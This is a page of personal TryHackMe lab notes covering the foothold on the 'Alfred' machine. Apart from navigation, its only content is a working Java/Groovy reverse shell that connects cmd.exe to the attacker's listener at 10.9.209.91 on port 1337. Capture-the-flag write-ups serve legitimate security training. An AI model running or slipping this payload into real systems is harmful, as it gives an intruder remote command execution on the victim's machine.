Try Hack Me
LinkedIn
  • Try Hack Me
    • Networks
      • Wreath
        • Recon
        • Enumeration
          • 80,443
          • 10000
        • Foothold [prod-serv]
        • Pivoting
          • 10.200.101.150 [git-serv]
            • Pivoting
            • Post Exploitation
            • C2
          • 10.200.101.100
            • Pivoting
            • Enumeration
            • Code Analysis
            • Exploit
            • Priv Esc
            • Exfil
    • Machines
      • Steel Mountain
        • Recon
          • nmap
        • Enumeration
          • 8080
          • 80
          • 445
          • enum4linux
        • Foothold
        • Enumeration
        • Priv Esc
      • Alfred
        • Recon
          • nmap
        • Enumeration
          • 80
          • 8080
        • Foothold
          • Enumeration
        • Priv Esc
        • usernames
      • Lazy Admin
        • Recon
          • nmap
        • Enumeration
          • 80, 443
          • 21
        • Foothold
          • Enumeration
        • Priv Esc
        • Notes
      • Anonymous
        • Recon
          • nmap
        • Enumeration
          • 21
          • 445
        • Foothold
          • Enumeration
        • Priv Esc
        • Notes
      • Tomghost
        • Recon
          • nmap
        • Enumeration
          • 8080
          • 21
        • Foothold
        • Priv Esc
        • Notes
      • ConvertMyVideo
        • Recon
          • nmap
        • Enumeration
          • 80, 443
          • 22
        • Foothold
        • Priv Esc
        • Notes
  • Template
    • Recon
      • nmap
    • Enumeration
      • 80, 443
      • 21
    • Foothold
    • Priv Esc
    • Notes
Powered by GitBook
On this page
  1. Try Hack Me
  2. Machines
  3. Alfred

Foothold

Previous8080NextEnumeration

Last updated 1 year ago

Reverse shell

String host="10.9.209.91";
int port=1337;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();